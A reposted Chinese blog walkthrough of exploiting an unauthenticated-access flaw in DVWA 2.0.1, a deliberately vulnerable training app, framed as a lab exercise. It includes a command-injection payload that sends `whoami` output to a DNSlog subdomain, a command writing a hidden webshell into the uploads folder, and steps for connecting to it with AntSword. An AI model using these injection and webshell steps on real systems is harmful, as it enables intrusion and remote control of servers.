返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >记一次实现DVWA无授权访问
  • 528
分享到

记一次实现DVWA无授权访问

php安全web安全 2023-09-08 18:09:28 528人浏览 独家记忆
摘要

记一次实现DVWA无用户密码登录后台实验 漏洞复现:dvwa_

记一次实现DVWA无用户密码登录后台实验

漏洞复现:dvwa_<2.0.1_unauth-access

漏洞描述:DVWA 是一个基于*AMP综合性WEB应用漏洞靶场,帮助安全人员测似他们的技能和工具,帮助web开发人员更好地了解Web 应用程序的过程,帮助学生和教师再受控教室环境中学习Web 应用程序安全。

​ DVWA 的目的的通过简单直观的界面来实践一些常见的Web漏洞,漏洞的不同程度的难度,分别为:初级、中级、高级和完全防御,分别对应目录中的low.PHP、medium.php、high.php和impossible.php

​ DVWA 在使用过程中需要登录,默认账号和密码:admin/passWord

​ DVWA 在2.0.1版本中,存在未授权访问漏洞,攻击者利用此漏洞能够直接访问漏洞源码文件,例如:low.php等。可导致在未登录的情况下,可以直接利用漏洞,如:命令注入漏洞

影响版本:DVWA 2.0.1版本

基础环境

组件版本
OSwindows Server 2016
Web ServerphpStudy 2016(特别版)
Source CodeDVWA 2.0.1

漏洞验证:打开DVWA之后输入漏洞源码文件地址

/vulnerabilities/exec/source/

验证此漏洞不需要自己搭建漏洞,直接点击 555 即可访问,进行验证

实验步骤:

  1. 进入靶场登录界面,在不输入用户名和密码的情况下,输入漏洞源码文件地址,发现能够进入,验证有此漏洞。

    在这里插入图片描述

  2. 深度利用,使用burpsuite 查看是否能执行一些远程命令

    • 比如使用burpsuite抓包后,将GET改为POST发送数据,用DNSlog平台,生成一个外带注入编码,通过此平台来验证漏洞存在性。

      -图:在这里插入图片描述

    • 打开之后,点击左边的Get SubDomain生成外带注入编码,复制,并使用以下命令

      -在这里插入图片描述

    • ip=127.0.0.0.1%7Cping+-c+1+`whoami`.v5xawm.dnslog.cn&Submit=Submit
      • 图:在这里插入图片描述
    • 上述命令成功后,回到DNSlog

      • 在这里插入图片描述
  3. 发现能够执行,进行一句话木马上传,并使用蚁剑连接后台

    echo+""+>+../../../hackable/uploads/.new_boy.php
    • 通过注入,实现远程命令执行,上传隐藏new_boy文件

      -在这里插入图片描述

    • 注入成功,回到靶机输入

      • 在浏览器输入:52.195.7.186/hackable==========================================注意:如果输入上述代码出错,无法访问。出现了dvwa.local.这是由于你的服务器的DNS无法解析靶机DNS。打开终端,输入:vi /etc/hosts将靶机的IP添加进去,即可看见刚才写入成功的php文件
        • 图:
          • 在这里插入图片描述
      • 再次打开浏览器,输入/hackable/即可,以下图解。这是一步一步,你也可以直接输入

        • Http://dvwa.local/hackable/uploads/.new_boy.php
        • 在这里插入图片描述

        • 在这里插入图片描述在这里插入图片描述

    • 也可以在实验前,输入一个自己原本要上传的php文件,查看是否有你准备创建的文件,如若没有再进行上述操作

      • 打开蚁剑,进入后台
        • 复制自己的php文件路径
        • 输入密码,也就是刚才一句话木马里的数字:123456
        • 登录成功
          • 以下是图例:
            -在这里插入图片描述

          • 在这里插入图片描述

          • 在这里插入图片描述

          • 在这里插入图片描述

  4. 创建文件,重新进入,看是否创建成功!

    在这里插入图片描述

.

  1. 成功!

来源地址:https://blog.csdn.net/weixin_55404107/article/details/127333617

--结束END--

本文标题: 记一次实现DVWA无授权访问

本文链接: https://lsjlt.com/news/400452.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 记一次实现DVWA无授权访问
    记一次实现DVWA无用户密码登录后台实验 漏洞复现:dvwa_...
    99+
    2023-09-08
    php 安全 web安全
  • Android实现授权访问网页的方法
    本文实例讲述了Android授权访问网页的实现方法,即使用Webview显示OAuth Version 2.a ImplicitGrant方式授权的页,但是对于移动终端不建议使...
    99+
    2022-06-06
    方法 授权 Android
  • 怎么基于JWT实现接口的授权访问
    本篇内容主要讲解“怎么基于JWT实现接口的授权访问”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么基于JWT实现接口的授权访问”吧! 什么是JWTJWT(JSON Web Token...
    99+
    2023-06-29
  • 云服务器ipv6授权体系怎么实现访问
    要实现访问 Amazon Web Services 的 IPv6 授权,可以使用以下方式: 在终端中安装 IPv6 密钥管理系统:在 Windows 操作系统中,可以通过在终端中安装 IPv6 密钥管理系统来实现。 在客户端上安装 Az...
    99+
    2023-10-26
    体系 服务器
  • 如何基于JWT实现接口的授权访问详解
    目录 什么是JWTJWT的结构HeaderPayloadSignature解码后的JWTJWT是怎样工作的在JAVA里使用JWT引入依赖JWTService生成JWT解码J...
    99+
    2024-04-02
  • Redis中出现未授权访问如何解决
    这期内容当中小编将会给大家带来有关Redis中出现未授权访问如何解决,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。漏洞原理Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的...
    99+
    2023-06-20
  • MySQL系列:限制IP访问,通过授权的方式实现
    一、允许用户所有IP访问 更改 mysql 数据库里的 user 表里的 host 项,从localhost"改成%即可。有两种方式可以实现。 第一种:直接修改user 表 1. mysql -u root -p 2. selec ...
    99+
    2023-09-06
    mysql 数据库 java
  • 云服务器ipv6授权体系怎么实现访问功能
    要实现访问功能,需要将IPV6授权协议映射到云服务器的IP地址,并实现访问控制和安全设置功能。 以下是使用云服务器实现IPV6访问功能的流程: 选择IPV6地址:需要确定云服务器IP地址,可以使用云服务器的IP地址查找器进行查找,或者使...
    99+
    2023-10-26
    体系 功能 服务器
  • ASP 授权最佳实践:保护应用程序免受未经授权的访问
    授权是确保应用程序中只有适当的用户才能访问资源的过程。ASP 授权提供了一组内置的授权机制,可帮助保护您的应用程序免受未经授权的访问。这些机制包括基于角色的授权、基于声明的授权和基于策略的授权。 以下是一些 ASP 授权最佳实践: 使用...
    99+
    2024-02-26
    ASP 授权 ASP.NET Core 安全 ASP 授权最佳实践 ASP.NET Core 身份验证
  • 记一次Feign中实现传实体Bean的问题
    目录Feign如何传实体BeanFeign注入Bean为null,启动报错swagger冲突版本解决方案feignService案例controller注入Feign如何传实体Bea...
    99+
    2024-04-02
  • 云服务器ipv6授权体系怎么实现访问功能设置
    在云计算环境中,IPV6协议是最新的协议,也是最重要的协议之一。它的引入使得用户能够使用更加灵活和可靠的资源访问方式,同时也提高了云计算资源的利用率和可扩展性。在本文中,我们将讨论如何实现云服务器IPV6授权体系。 云服务器IPV6授权体...
    99+
    2023-10-27
    体系 功能 服务器
  • 解析Redis未授权访问漏洞复现与利用危害
    目录一、漏洞简介以及危害:1.什么是redis未授权访问漏洞:2.漏洞的危害3.漏洞的影响二、漏洞复现:三、未授权访问漏洞测试0x01 利用redis写webshell0&...
    99+
    2024-04-02
  • 为什么会出现无权限访问phpmyadmin的问题
    小编给大家分享一下为什么会出现无权限访问phpmyadmin的问题,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!由于我安装wam...
    99+
    2024-04-02
  • 如何解决微信小程序出现wx.getLocation再次授权的问题
    这篇文章主要介绍了如何解决微信小程序出现wx.getLocation再次授权的问题,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。具体如下:首...
    99+
    2024-04-02
  • php怎么实现限制访问次数
    可以通过以下几种方法来实现限制访问次数:1. 使用数据库:在数据库中创建一个表,记录每个用户的访问次数和最后访问时间等信息。每次用户...
    99+
    2023-09-26
    php
  • 一次MySql重置root密码无效的实战记录
    目录前言项目场景:问题描述原因分析:解决方案:1.正常关闭mysql服务2.设置跳过权限启动mysql3. 修改密码4. 尝试登陆总结前言 说起这个事情吧也相对来说比较尴尬,对于一个...
    99+
    2024-04-02
  • 笔记本电脑中的无线网没有访问权限怎么办
    小编给大家分享一下笔记本电脑中的无线网没有访问权限怎么办,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!单击开始菜单,选择运行,输入“gpedit.msc”,点击确定。依次展开“计算机配置-管理模板-系统-Internet通...
    99+
    2023-06-28
  • 尝试访问 GitLab 存储库列表时出现“401 未经授权”错误
    今天编程网给大家带来了《尝试访问 GitLab 存储库列表时出现“401 未经授权”错误》,其中涉及到的知识点包括等等,无论你是小白还是老手,都适合看一看哦~有好的建议也欢迎大家在评论留言,若是看完...
    99+
    2024-04-05
  • Servlet实现统计页面访问次数功能
    本文实例为大家分享了Servlet实现统计页面访问次数的具体代码,供大家参考,具体内容如下 实现思路: 1.新建一个CallServlet类继承HttpServlet,重写doGet...
    99+
    2024-04-02
  • 基于servlet实现统计网页访问次数
    本文实例为大家分享了基于servlet实现统计网页访问次数的具体代码,供大家参考,具体内容如下 一、基础知识 (1)ServletContext和ServletConfig的区别 S...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作